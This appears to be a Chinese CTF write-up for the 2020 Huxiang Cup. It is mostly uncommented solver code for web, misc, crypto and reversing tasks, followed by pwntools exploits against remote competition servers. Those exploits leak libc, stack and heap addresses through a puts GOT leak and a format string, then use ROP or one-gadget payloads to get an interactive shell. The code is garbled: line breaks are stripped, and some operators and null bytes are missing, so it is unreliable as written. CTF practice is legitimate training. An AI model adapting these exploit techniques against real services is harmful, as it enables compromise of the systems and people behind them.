湖湘杯2020 部分WriteUp

import requestsfrom bs4 import BeautifulSoup as bscookies = {    'PHPSESSID' : '707sli2m52o442fjhtn1pv0m24',    'user' : 'admin'}url_login = 'http://47.111.96.55:55000/admin/?r=index's = requests.session()r = s.get(url_login, cookies=cookies)html = r.textsoup = bs(html,"html.parser")items = soup.find_all('a')for i in items:    print(i.get('href'))

flag{→→←←←←←←←← →→→→←←←←←← →→←←←←←← ←←←←←←→→→→ ←←←←←←→→→→ ←← ←←←←←←→→→→ →→→→→→→→←← →→←←←←←_← ←
←←←←←←←←← ←←→→→→→→→→ →→→→→→→→→→ ←←←←←←←←←← ←←←←→→←← →→←←←←←← ←←←←←←←←→→ ←←→→ ←←←←→→→→→→ →_
→→→→→→→←← ←←←←←←←←←← ←←←←←←→→→→ ←←→→ →→→→→→→→→→ →→←←→→←← ←← →→→→←←←←←← →→→→→→→→←← →→←←→→←←
←←←←←←→→→→ ←←←←←←→→→→ →→→→←←←←←← →→→→→→←←←←}

-.... --... -... ...-- ...-- . ...-- ----. -... ..... .---- ----- ..... ..-. -... ....- .- ..--- ----. ..... ...-- .- ----- -.-. . --... ----. -.-. ...-- ...-- --... ---..

# -*- coding: utf-8 -*-b64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'with open('2.txt', 'rb') as f:    bin_str = ''    for line in f.readlines():        stegb64 = ''.join(line.split())        rowb64 =  ''.join(stegb64.decode('base64').encode('base64').split())        offset = abs(b64chars.index(stegb64.replace('=','')[-1])-b64chars.index(rowb64.replace('=','')[-1]))        equalnum = stegb64.count('=') #no equalnum no offset        if equalnum:            bin_str += bin(offset)[2:].zfill(equalnum * 2)        print ''.join([chr(int(bin_str[i:i + 8], 2)) for i in xrange(0, len(bin_str), 8)])

a=[0x0000b2b0,0x00006e72,0x00006061,0x0000565d,0x0000942d,0x0000ac79,0x0000391c,0x0000643d,0x0000ec3f,0x0000bd10,0x0000c43e,0x00007a65,0x0000184b,0x0000ef5b,0x00005a06,0x0000a8c0,0x0000f64b,0x0000c774,0x000002ff,0x00008e57,0x0000aed9,0x0000d8a9,0x0000230c,0x000074e8,0x0000c2a6,0x000088b3,0x0000af2a,0x00009ea7,0x0000ce8a,0x00005924,0x0000d276,0x000056d4]b=[0x000077d7,0x0000990e,0x0000b585,0x00004bcd,0x00005277,0x00001afc,0x00008c8a,0x0000cdb5,0x00006e26,0x00004c22,0x0000673f,0x0000daff,0x00000fac,0x000086c7,0x0000e048,0x0000c483,0x000085d3,0x00002204,0x0000c2ee,0x0000e07f,0x00000caf,0x0000bf76,0x000063fe,0x0000bffb,0x00004b09,0x0000e5b3,0x00008bda,0x000096df,0x0000866d,0x00001719,0x00006bcf,0x0000adcc]c=[0x00000f2b,0x000051ce,0x00001549,0x000020c1,0x00003a8d,0x000005f5,0x00005403,0x00001125,0x00009161,0x0000e2a5,0x00005196,0x0000d8d2,0x0000d644,0x0000ee86,0x00003896,0x00002e71,0x0000a6f1,0x0000dfcf,0x00003ece,0x00007d49,0x0000c24d,0x0000237e,0x00009352,0x00007a97,0x00007bfa,0x0000cbaa,0x000010dc,0x00003bd9,0x00007d7b,0x00003b88,0x0000b0d0,0x0000e8bc]data=[0x08a73233,0x116db0f6,0x0e654937,0x03c374a7,0x16bc8ed9,0x0846b755,0x08949f47,0x04a13c27,0x0976cf0a,0x07461189,0x1e1a5c12,0x11e64d96,0x03cf09b3,0x093cb610,0x0d41ea64,0x07648050,0x092039bf,0x08e7f1f7,0x004d871f,0x1680f823,0x06f3c3eb,0x2205134d,0x015c6a7c,0x11c67ed0,0x0817b32e,0x06bd9b92,0x08806b0c,0x06aaa515,0x205b9f76,0x0de963e9,0x2194e8e2,0x047593bc]
flag=''for j in range(32):    for i in range(97,103):        if (i*i*a[j]+b[j]*i+c[j])==data[j]:            flag+=chr(i)            print(j)    for k in range(48,58):        if (k*k*a[j]+b[j]*k+c[j])==data[j]:            flag+=chr(k)            print(j)        print(flag)

#a列表经过了异或a=[43, 9, 171, 203, 147, 42, 249, 139, 154, 249, 169, 130, 251, 43, 9, 171, 202, 251, 161, 130, 251, 201, 131, 171]
flag=''
flag+=chr(((a[-1]&3)<<5)|((a[0]&0xf8)>>3))
for i in range(len(a)-1):    print(((a[i]&3)<<5)|((a[i+1]&0xf8)>>3))    flag+=chr((((a[i]&3)<<5)|((a[i+1]&0xf8)>>3)))
print(flag)

import sys, hashlibcheck = [ 'e5438e78ec1de10a2693f9cffb930d23', '08e8e8855af8ea652df54845d21b9d67', 'a905095f0d801abd5865d649a646b397', 'bac8510b0902185146c838cdf8ead8e0', 'f26f009a6dc171e0ca7a4a770fecd326', 'cffd0b9d37e7187483dc8dd19f4a8fa8', '4cb467175ab6763a9867b9ed694a2780', '8e50684ac9ef90dfdc6b2e75f2e23741', 'cffd0b9d37e7187483dc8dd19f4a8fa8', 'fd311e9877c3db59027597352999e91f', '49733de19d912d4ad559736b1ae418a7', '7fb523b42413495cc4e610456d1f1c84', '8e50684ac9ef90dfdc6b2e75f2e23741', 'acb465dc618e6754de2193bf0410aafe', 'bc52c927138231e29e0b05419e741902', '515b7eceeb8f22b53575afec4123e878', '451660d67c64da6de6fadc66079e1d8a', '8e50684ac9ef90dfdc6b2e75f2e23741', 'fe86104ce1853cb140b7ec0412d93837', 'acb465dc618e6754de2193bf0410aafe', 'c2bab7ea31577b955e2c2cac680fb2f4', '8e50684ac9ef90dfdc6b2e75f2e23741', 'f077b3a47c09b44d7077877a5aff3699', '620741f57e7fafe43216d6aa51666f1d', '9e3b206e50925792c3234036de6a25ab', '49733de19d912d4ad559736b1ae418a7', '874992ac91866ce1430687aa9f7121fc']def func(num):    result = []    while num != 1:        num = num * 3 + 1 if num % 2 else num // 2        result.append(num)    return resultif __name__ == '__main__':    #print('Your input is not the FLAG!')    flag=''    for j in range(27):        for ch in range(0x20,0x7f):            ret_list = func(ch)            s = ''            for idx in range(len(ret_list)):                s += str(ret_list[idx])                s += str(ret_list[(len(ret_list) - idx - 1)])
            md5 = hashlib.md5()            md5.update(s.encode('utf-8'))            if md5.hexdigest() == check[j]:                #print(chr(ch))                flag+=chr(ch)    print(flag)         md5 = hashlib.md5()    md5.update(flag.encode('utf-8'))    print('You win!')    print('flag{' + md5.hexdigest() + '}')

a='7d21e<e3<:3;9;ji t r#w"$*{*+*$|,'flag=''for i in range(len(a)):    flag+=chr(ord(a[i])^i)print(flag)

#coding:utf-8from pwn import *import randomcontext.log_level = 'debug'debug = 0elf = ELF('pwn_printf')sh = remote('47.111.104.169',57106)sh.recvuntil('interestingn')for i in range(16):    sh.sendline(str(0x20))sh.send('a'*8+p64(0x401213)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x401213)+p64(0x20)+p64(0x4007C6))libc_base = u64(sh.recv(6).ljust(8,'x00')) - 0x6f6a0sh.sendline('a'*8+p64(libc_base+0xf0364))sh.interactive()

unsigned __int64 backdoor(){_QWORD *v0; // raxchar v2; // [rsp+10h] [rbp-20h]unsigned __int64 v3; // [rsp+28h] [rbp-8h]

v3 = __readfsqword(0x28u);printf("Please input what you want:");if ( (signed int)read_diy(&v2, 0x28) > 0x10 ){v0 = (_QWORD *)_cxa_allocate_exception(8LL, 0x28LL);v0 = "You are too young!";_cxa_throw(v0, &`typeinfo for'char const, 0LL);}return __readfsqword(0x28u) ^ v3;}

#!/usr/bin/env python#encoding: utf-8

from pwn import *import timelocal_file  = './pwn'elf = ELF(local_file)context.log_level = 'debug'debug = 0if debug:io = process(local_file)libc = elf.libcelse:io = remote('47.111.104.169',55804)libc = elf.libc#libc = ELF('.')context.arch = elf.archcontext.terminal = ['tmux','neww']#,''splitw','-h's      = lambda data               :io.send(data)sa      = lambda delim,data         :io.sendafter(delim, data)sl      = lambda data               :io.sendline(data)sla     = lambda delim,data         :io.sendlineafter(delim, data)r      = lambda numb=4096          :io.recv(numb)ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)uu32    = lambda data               :u32(data.ljust(4, ''))uu64    = lambda data               :u64(data.ljust(8, ''))info_addr = lambda tag, addr        :io.info(tag + '==>' +': {:#x}'.format(addr))itr     = lambda                    :io.interactive()def debug():# gdb.attach(proc.pidof(io)[0],gdbscript='b main')gdb.attach(io)pause()

def add(data):sla('>','2')sla(':',str(data))

def free(idx):sla('>','3')sla('dex>',str(idx))

def show():sla('>','4')# sla('dex>',str(idx))

sla('name','%p%p')sla('>','1')ru('0x')stackbase = int(r(12),16)info_addr('stackbase',stackbase)ru('0x')libcbase = int(r(12),16) - 0x3c6780info_addr('libcbase',libcbase)one = libcbase + 0x45226add(p64(0) + p64(one)*6)add(p64(0) + p64(one)*6)free(0)free(1)show()

debug()

ru('2:')heap = uu64(r(6))info_addr('heap',heap)sla('>','666')

ret = 0x66c458+ libcbase

payload = '1'  0x10 + p64(0)  2 + p64(heap+0x90)sa(':',str(payload))itr()